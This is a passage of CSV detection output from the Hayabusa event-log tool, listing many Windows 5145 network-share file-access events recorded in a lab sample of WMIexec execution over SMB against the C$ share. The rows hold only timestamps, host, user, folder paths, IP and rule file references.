Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sr-Latn-RS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.447 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sv : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\th : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\tr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\uk : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HANS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HANT : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HK : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs\DevInvCache : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\apppatch64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\Custom : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\Custom\Custom64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\en-US : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppReadiness : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\Microsoft.Interop.Security.AzRoles : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\Microsoft.Interop.Security.AzRoles\2.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\Microsoft.Interop.Security.AzRoles : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\Microsoft.Interop.Security.AzRoles\2.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx 